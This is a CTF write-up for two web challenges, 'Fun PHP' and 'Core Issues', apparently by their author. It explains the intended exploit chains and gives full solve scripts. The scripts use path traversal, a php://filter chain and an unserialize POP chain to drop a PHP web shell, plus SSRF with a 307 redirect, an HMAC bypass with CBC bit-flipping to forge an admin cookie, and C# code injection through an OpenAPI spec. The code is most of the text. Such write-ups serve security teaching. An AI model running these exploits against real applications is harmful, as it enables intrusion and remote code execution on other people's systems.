HCMUS CTF 2026 Quals writeup
web/Fun PHP
TLDR: It is from the last section of this post
The intended solve is this:
At
/reports/download, it has path traversal bug that can be used to read files. We can use it to readsecrets/admin_ticket.txtand see this string2026ctfhcmusAt
/dashboard/integrations/import-reference, we have to provide url that when fetch, the content have to match content atsecrets/admin_ticket.txtin order to become admin. The intended one is using php://filter chainAfter become admin, we can see a sink
SnapshotPublisher::publishSnapshot()in fileenterprisereports.phpthat allow to write web shell. In order to trigger it, we can use sinkunserialize()to generate POP chain at/reports/import-preset. The chain is easy and AI can figure it out. The chain eventually will call$rawClass::$method($block->args)and all param here is controllable.Unfortunately, the class
SnapshotPublisheronly init ifFeatureFlags::enabled('enterprise_snapshots')return true but that value is fixed to false. The idea is when php parse non-top-level class, it store class in a hash table called class_table in which the key is a special class name generate from the function zend_build_runtime_definition_key() and the value is the info of that class. The flow would bezend_compile_top_stmt()->zend_compile_stmt()->zend_compile_class_decl()->zend_build_runtime_definition_key()andzend_hash_add_ptr(CG(class_table), key, ce)in zend_compile.c. Even when the condition is false and the class haven’t init, the name is still there and if we using that special name, php will look up that name in class_table, and retrieve the bytecode of that class. The format of that class name will be\0{namespace\class}{path/to/file}:{line_of_class}${number_of_non_top_level_classes}
solve.py
import base64
import re
import requests
# url = "http://localhost:8000"
url = "http://chall.blackpinker.com:20334"
timeout = 8
ticket_ref = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=php://temp"
path = "/var/www/app/insight/module/enterprisereports.php"
line = 114
counter = 13
session = requests.Session()
def s(x):
return f's:{len(x.encode())}:"{x}";'
def arr(items):
out = [f"a:{len(items)}:{{"]
for k, v in items:
out += [s(k), s(v)]
return "".join(out) + "}"
def obj(name, props):
out = [f'O:{len(name.encode())}:"{name}":{len(props)}:{{']
for k, v in props:
out += [s(k), v]
return "".join(out) + "}"
def preset(cls):
block = obj("App\\Insight\\Model\\ReportBlock", [
("title", s("Executive Export Publisher")),
("class", s(cls)),
("method", s("publishSnapshot")),
("args", arr([
("name", "shell.php"),
("body", '<?php system($_GET["cmd"] ?? "id"); ?>'),
])),
])
return obj("App\\Insight\\Model\\DashboardPreset", [
("name", s("Quarterly Executive Export")),
("layout", s("grid-2")),
("blocks", f"a:1:{{i:0;{block}}}"),
])
def candidate(line, counter):
return "\\\x00" + f"app\\insight\\module\\snapshotpublisher{path}:{line}${counter:x}"
def main():
secret = session.get(
url + "/reports/download?file=../../secrets/admin_ticket.txt",
timeout=timeout,
).text
print("[+] ticket:", secret)
page = session.post(
url + "/dashboard/integrations/import-reference",
data={"ticket_ref": ticket_ref},
timeout=timeout,
).text
if "Operator workspace is active" not in page:
print("admin failed")
return 1
print("[+] admin")
payload = base64.urlsafe_b64encode(preset(candidate(line, counter)).encode()).decode()
session.post(url + "/reports/import-preset", data={"preset": payload}, timeout=timeout)
res = session.get(url + "/shell.php", params={"cmd": "/readflag"}, timeout=timeout).text.strip()
if re.search(r"[A-Za-z0-9_-]*HCMUS-CTF\{[^}\r\n]+\}", res, re.I):
print(res)
main()web/Core Issues
Somehow this chall get slopped. The intended solve:
SSRF 307 redirect to preserve the HTTP method, the host check can be bypass by using unicode
The internal portal is vulnerable to this CVE: https://github.com/dotnet/announcements/issues/395. In the original library
Microsoft.AspNetCore.DataProtectioncode, we can provided null byte at the hmac part of the cookie to bypass the hmac check at functionCalculateAndValidateMac()inManagedAuthenticatedEncryptor.cs. To force you to read the library code(which you didn’t), I have patched theMicrosoft.AspNetCore.DataProtection.dllso that you have to provide hmac as"hehe" * 8(32 byte).After bypass the hmac check, because the cipher text using AES CBC mode, you can flip the bit of the cookie from
admin=false;toadmin=true;;and become adminThe goal of the last chain is provide openAPI spec so that when the library
Microsoft.Kiotagenerate C# SDK and run smoke test from it, we can execute code. We can inject code using some fields, I usedescriptionfield to inject a malicious class anddefaultfield to trigger the malicious function. To bypass filter, we can replace identifiers in C# with unicode characters.
solve.py
import base64
import json
import re
import requests
import time
# target = "http://127.0.0.1:8080"
target = "http://chall.blackpinker.com:20341"
username = "huli07"
email = "huli07@example.com"
password = "huli07-password-2026"
# url = "http://host.docker.internªl:2807"
url = "https://4b4d-27-2-6-4.ngrok-free.app"
def ssrf(session, url, method, headers=None, body=""):
res = session.post(
f"{target}/api/webhooks/test",
json={
"url": url,
"method": method,
"headers": headers or {},
"body": body,
"timeout": 180,
},
timeout=180,
)
return res.json()
def login():
session = requests.Session()
session.post(
f"{target}/api/signup",
json={"username": username, "email": email, "password": password},
timeout=180,
)
session.post(f"{target}/api/login", json={"username": username, "password": password}, timeout=180)
return session
def forge(cookie, session, url):
raw = bytearray(base64.urlsafe_b64decode(cookie + "=" * (-len(cookie) % 4)))
flip = bytes(a ^ b for a, b in zip(b"false", b"true;"))
for i in range(len(raw) - 32 - len(flip)):
test = bytearray(raw)
for j, value in enumerate(flip):
test[i + j] ^= value
test[-32:] = b"hehe" * 8
value = base64.urlsafe_b64encode(test).decode().rstrip("=")
res = ssrf(session, url, "GET", headers={"Cookie": f".AspNetCore.Portal={value}"})
if re.search(r'"role"\s*:\s*"admin"', res.get("body", "")):
return value
time.sleep(1)
return ""
def sdk_body():
def cs(name):
return ".".join("".join(f"\\u{ord(c):04x}" for c in part) for part in name.split("."))
path = ",".join(str(ord(c)) for c in "/readflag")
helper = (
"Inventory model used by the connector smoke test."
"\u2028public partial class CatalogItem { string Load(){"
"string C(params int[]a){var s=string.Empty;foreach(var i in a)s+=Convert.ToChar(i);return s;}"
f"var p=new {cs('System.Diagnostics.ProcessStartInfo')}(C({path}));"
f"p.{cs('UseShellExecute')}=false;"
f"p.{cs('RedirectStandardOutput')}=true;"
f"var x={cs('System.Diagnostics.Process')}.{cs('Start')}(p);"
f"x.{cs('WaitForExit')}();"
f"return x.{cs('StandardOutput')}.{cs('ReadToEnd')}();"
"} }//"
)
return {
"connectorName": "Partner Inventory",
"environment": "staging",
"ownerEmail": "integrations@example.test",
"openApi": {
"openapi": "3.1.0",
"info": {"title": "Partner Inventory", "version": "1.0.0"},
"paths": {
"/inventory/items": {
"get": {
"responses": {
"200": {
"description": "ok",
"content": {
"application/json": {
"schema": {"$ref": "#/components/schemas/CatalogItem"}
}
},
}
}
}
}
},
"components": {
"schemas": {
"CatalogItem": {
"type": "object",
"description": helper,
"properties": {
"sku": {
"type": "string",
"description": "Partner SKU used when the item has not been normalized yet.",
"default": '\\";Sku=Load();//',
},
"name": {"type": "string"},
},
}
}
},
},
}
def main():
session = login()
set_cookie = ssrf(session, f"{url}/", "GET").get("headers").get("Set-Cookie")
cookie = set_cookie.split(".AspNetCore.Portal=")[1].split(";")[0]
admin_cookie = forge(cookie, session, f"{url}/api/me")
print(admin_cookie)
res = ssrf(
session,
f"{url}/api/connectors/preview",
"POST",
{
"Cookie": f".AspNetCore.Portal={admin_cookie}",
"Content-Type": "application/json",
},
json.dumps(sdk_body()),
)
print(res)
data = json.loads(res["body"])
print(json.dumps(data))
match = re.search(r"HCMUS-CTF\{[^}]+\}", data.get("smokeTest").get("stdout"))
if match:
print(f"\nflag: {match.group(0)}")
main()server.py
from http.server import BaseHTTPRequestHandler, HTTPServer, ThreadingHTTPServer
class redirect(BaseHTTPRequestHandler):
def response(self):
path = self.path if self.path.startswith("/") else "/"
location = f"http://intern%C2%AAl:8080{path}"
self.send_response(307)
self.send_header("Location", location)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
self.response()
def do_POST(self):
self.response()
def log_message(self, fmt, *args):
return
server = HTTPServer(('0.0.0.0', 2807), redirect)
print("Serving on port 2807...")
server.serve_forever()Thanks AI for the solve script
Fun fact: I intended that the Fun PHP challenge would be easier than Core Issues because the trick is on the Internet, but somehow it got less solves
